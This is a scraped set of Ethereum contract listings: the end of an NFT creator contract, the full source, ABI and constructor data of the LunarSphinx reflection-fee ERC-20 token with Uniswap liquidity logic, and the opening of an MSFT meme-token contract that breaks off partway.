memory admins, bool enableStory, address blockListRegistry ) TLCreator( 0x154DAc76755d2A372804a9C409683F2eeFa9e5e9, "The Estate", "DGBES", defaultRoyaltyRecipient, defaultRoyaltyPercentage, msg.sender, admins, enableStory, blockListRegistry ) {} }

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v0.8.19+commit.7dd6d404

000000000000000000000000e5451a8651ff622fb3a111633e0c709379aaf4a100000000000000000000000000000000000000000000000000000000000003e800000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000100000000000000000000000056fe4de01b15bb2afa969f914692867acac27ba50000000000000000000000000000000000000000000000000000000000000000

paris

LunarSphinx

LunarSphinx.sol

0x108ce14704263c9e2db314e03929d5cf044756d3

Solidity

// SPDX-License-Identifier: MIT pragma solidity 0.8.19; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract LunarSphinx is IERC20, Ownable { using SafeMath for uint256; uint256 public constant MAX_FEE = 10**4 / 4; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal; uint256 private _rTotal; uint256 private _tFeeTotal; string private _name; string private _symbol; uint8 private _decimals; uint256 public _taxFee; uint256 private _previousTaxFee; uint256 public _liquidityFee; uint256 private _previousLiquidityFee; uint256 public _teamFee; uint256 private _previousTeamFee; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; address public _teamAddress; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled; uint256 private numTokensSellToAddToLiquidity; event SwapAndLiquifyAmountUpdated(uint256 amount); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor( string memory name_, string memory symbol_, uint256 totalSupply_, address router_, address TeamAddress_, uint16 taxFeeStart_, uint16 liquidityFeeStart_, uint16 TeamFeeStart_ ) { if (TeamAddress_ == address(0)) { require( TeamFeeStart_ == 0, "Cant set both Team address to address 0 and Team percent more than 0" ); } require( taxFeeStart_ + liquidityFeeStart_ + TeamFeeStart_ <= MAX_FEE, "Total fee is over 25%" ); _name = name_; _symbol = symbol_; _decimals = 18; _tTotal = totalSupply_; _rTotal = (MAX - (MAX % _tTotal)); _taxFee = taxFeeStart_; _previousTaxFee = _taxFee; _liquidityFee = liquidityFeeStart_; _previousLiquidityFee = _liquidityFee; _teamAddress = TeamAddress_; _teamFee = TeamFeeStart_; _previousTeamFee = _teamFee; numTokensSellToAddToLiquidity = totalSupply_.div(10**3); // 0.1% swapAndLiquifyEnabled = true; _rOwned[owner()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router_); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require( !_isExcluded[sender], "Excluded addresses cannot call this function" ); (uint256 rAmount, , , , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount, , , , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , , ) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tTeam ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeTeamFee(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { require(!_isExcludedFromFee[account], "The value alrede set!"); _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { require(_isExcludedFromFee[account], "The value alrede set!"); _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFeeBps) external onlyOwner { _taxFee = taxFeeBps; require( _taxFee.add(_liquidityFee).add(_teamFee) <= MAX_FEE, "Total fee is over 25%" ); } function setLiquidityFeePercent(uint256 liquidityFeeBps) external onlyOwner { _liquidityFee = liquidityFeeBps; require( _taxFee.add(_liquidityFee).add(_teamFee) <= MAX_FEE, "Total fee is over 25%" ); } function setTeamFeePercent(uint256 TeamFeeBps) external onlyOwner { _teamFee = TeamFeeBps; require( _taxFee.add(_liquidityFee).add(_teamFee) <= MAX_FEE, "Total fee is over 25%" ); } function setSwapBackSettings(uint256 _amount) external onlyOwner { require( _amount >= totalSupply().mul(5).div(10**4), "Swapback amount should be at least 0.05% of total supply" ); numTokensSellToAddToLiquidity = _amount; emit SwapAndLiquifyAmountUpdated(_amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256, uint256 ) { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tTeam ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, tTeam, _getRate() ); return ( rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tTeam ); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256 ) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTeamFee = calculateTeamFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub( tTeamFee ); return (tTransferAmount, tFee, tLiquidity, tTeamFee); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub( rTeam ); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _takeTeamFee(uint256 tTeam) private { if (tTeam > 0) { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[_teamAddress] = _rOwned[_teamAddress].add(rTeam); if (_isExcluded[_teamAddress]) _tOwned[_teamAddress] = _tOwned[_teamAddress].add( tTeam ); emit Transfer(_msgSender(), _teamAddress, tTeam); } } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**4); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10**4); } function calculateTeamFee(uint256 _amount) private view returns (uint256) { if (_teamAddress == address(0)) return 0; return _amount.mul(_teamFee).div(10**4); } function removeAllFee() private { _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _previousTeamFee = _teamFee; _taxFee = 0; _liquidityFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; _teamFee = _previousTeamFee; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable _teamAddress, block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeTeamFee(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeTeamFee(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tTeam ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeTeamFee(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }

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nternalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"liquidityFeeBps","type":"uint256"}],"name":"setLiquidityFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFeeBps","type":"uint256"}],"name":"setTaxFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"TeamFeeBps","type":"uint256"}],"name":"setTeamFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract 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v0.8.19+commit.7dd6d404

000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001400000000000000000000000000000000000000000204fce5e3e250261100000000000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000094ef52313bfecd0136587eeb565decbe20742cda000000000000000000000000000000000000000000000000000000000000006400000000000000000000000000000000000000000000000000000000000000640000000000000000000000000000000000000000000000000000000000000064000000000000000000000000000000000000000000000000000000000000000c4c756e617220537068696e780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b4c554e4152535048494e58000000000000000000000000000000000000000000

Default

MIT

ipfs://acb8043d2b458ee47998f46c9648aad9b54ca0441dc9b8ff5143c8d6ba1d5b22

MSFT

MSFT.sol

0x9e24d8c58e10784cbe8401bc19253560d63a1a1f

Solidity

// SPDX-License-Identifier: UNLICENSE /* https://t.me/MicrosoftERC20 */ pragma solidity 0.8.23; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MSFT is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; address payable private _taxWallet; uint256 private _initialBuyTax=20; uint256 private _initialSellTax=20; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=20; uint256 private 